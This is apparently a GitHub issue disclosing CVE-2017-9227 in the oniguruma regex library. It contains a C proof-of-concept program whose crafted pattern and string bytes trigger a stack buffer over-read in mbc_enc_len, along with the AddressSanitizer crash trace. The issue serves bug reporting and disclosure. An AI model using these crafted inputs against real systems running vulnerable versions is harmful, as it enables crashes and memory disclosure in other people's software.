CVE-2017-9227: Bug in mbc_enc_len · Issue #58 · kkos/oniguruma

The buffer overflow is found with the following code:

#include <stdio.h> #include “oniguruma.h”

static int search(regex_t* reg, unsigned char* str, unsigned char* end) { int r; unsigned char *start, *range; OnigRegion *region;

region = onig_region_new();

start = str; range = end; r = onig_search(reg, str, end, start, range, region, ONIG_OPTION_NONE); if (r >= 0) { int i;

fprintf(stderr, "match at %d  (%s)\\n", r,
        ONIGENC\_NAME(onig\_get\_encoding(reg)));
for (i = 0; i < region->num\_regs; i++) {
  fprintf(stderr, "%d: (%d\-%d)\\n", i, region->beg\[i\], region->end\[i\]);
}

} else if (r == ONIG_MISMATCH) { fprintf(stderr, "search fail (%s)\n", ONIGENC_NAME(onig_get_encoding(reg))); } else { /* error */ char s[ONIG_MAX_ERROR_MESSAGE_LEN]; onig_error_code_to_str(s, r); fprintf(stderr, "ERROR: %s\n", s); fprintf(stderr, " (%s)\n", ONIGENC_NAME(onig_get_encoding(reg))); return -1; }

onig_region_free(region, 1 /* 1:free self, 0:free contents only */); return 0; } static int exec(OnigEncoding enc, OnigOptionType options, char* apattern, char* apttern_end, char* astr, char* end) { int r; regex_t* reg; OnigErrorInfo einfo; UChar* pattern = (UChar* )apattern; UChar* str = (UChar* )astr;

onig_initialize(&enc, 1);

r = onig_new(&reg, pattern, apttern_end, options, enc, ONIG_SYNTAX_DEFAULT, &einfo); if (r != ONIG_NORMAL) { char s[ONIG_MAX_ERROR_MESSAGE_LEN]; onig_error_code_to_str(s, r, &einfo); fprintf(stderr, "ERROR: %s\n", s); return -1; }

r = search(reg, str, end);

onig_free(reg); onig_end(); return 0; } int main() { regex_t *reg; unsigned char str[] = { 0xc7, 0xd6, 0xfe, 0xea, 0xe0, 0xe2, 0x00 }; unsigned char input[] = { 0x6a, 0x00, 0x01, 0x6c, 0x7b, 0x00, 0x01, 0x6c, 0x7b, 0x32, 0x32, 0x7d, 0x7b, 0x32, 0x32, 0x7d, 0x7b, 0x32, 0x32, 0x7d, 0x7b, 0x32, 0x32, 0x7d, 0x7b, 0x32, 0x32, 0x7d, 0x7b, 0x32, 0x32, 0x7d, 0x7b, 0x32, 0x32, 0x7d, 0x7b, 0x32, 0x32, 0x6a, 0x00, 0x01, 0x6c, 0x7b, 0x1d, 0x1d, 0x1d, 0x1d, 0x1d, 0x1d, 0x1d, 0x1d, 0x1d, 0x1d, 0x1d, 0x1d, 0x1d, 0x1d, 0x1d, 0x1d, 0x1d, 0x1d, 0x32, 0x32, 0x7d, 0x7b, 0x32, 0x32, 0x7d, 0x7b, 0x32, 0x32, 0x7d, 0x7b, 0x32, 0x32, 0x7d, 0x7b, 0x32, 0x32, 0x7d, 0x7b, 0x32, 0x7d, 0x7b, 0x32, 0x32, 0x7d, 0x7b, 0x32, 0x32, 0x7d, 0x7b, 0x32, 0x7d}; int r = exec( ONIG_ENCODING_UTF8,ONIG_OPTION_IGNORECASE , (char*)input,input+95, (char*) str,str+7 ); return 0; }

asan error can be found:

==7085==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffed35e53c7 at pc 0x00000045e958 bp 0x7ffed35e4df0 sp 0x7ffed35e4de0
READ of size 1 at 0x7ffed35e53c7 thread T0
    #0 0x45e957 in mbc_enc_len /home/xie/Downloads/oni/oni-asan-dev/src/utf8.c:66
    #1 0x455c8d in forward_search_range /home/xie/Downloads/oni/oni-asan-dev/src/regexec.c:3162
    #2 0x457c56 in onig_search /home/xie/Downloads/oni/oni-asan-dev/src/regexec.c:3614
    #3 0x401138 in search /home/xie/Downloads/oni/oni-asan-dev/test/testc.c:18
    #4 0x401776 in exec /home/xie/Downloads/oni/oni-asan-dev/test/testc.c:65
    #5 0x401b41 in main /home/xie/Downloads/oni/oni-asan-dev/test/testc.c:81
    #6 0x7f6fd15bd82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #7 0x400f58 in _start (/home/xie/Downloads/oni/oni-asan-dev/test/testc+0x400f58)

Address 0x7ffed35e53c7 is located in stack of thread T0 at offset 39 in frame
    #0 0x40185f in main /home/xie/Downloads/oni/oni-asan-dev/test/testc.c:71

  This frame has 2 object(s):
    [32, 39) 'str' <== Memory access at offset 39 overflows this variable
    [96, 191) 'input'
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /home/xie/Downloads/oni/oni-asan-dev/src/utf8.c:66 mbc_enc_len
Shadow bytes around the buggy address:
  0x10005a6b4a20: 00 00 00 00 00 00 00 00 00 00 00 02 f3 f3 f3 f3
  0x10005a6b4a30: f3 f3 f3 f3 00 00 00 00 00 00 00 00 00 00 00 00
  0x10005a6b4a40: 00 00 00 00 f1 f1 f1 f1 00 f4 f4 f4 f2 f2 f2 f2
  0x10005a6b4a50: 00 00 00 f4 f2 f2 f2 f2 00 00 00 00 00 00 00 00
  0x10005a6b4a60: 00 00 00 02 f3 f3 f3 f3 f3 f3 f3 f3 00 00 00 00
=>0x10005a6b4a70: 00 00 00 00 f1 f1 f1 f1[07]f4 f4 f4 f2 f2 f2 f2
  0x10005a6b4a80: 00 00 00 00 00 00 00 00 00 00 00 07 f3 f3 f3 f3
  0x10005a6b4a90: f3 f3 f3 f3 00 00 00 00 00 00 00 00 00 00 00 00
  0x10005a6b4aa0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10005a6b4ab0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10005a6b4ac0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
==7085==ABORTING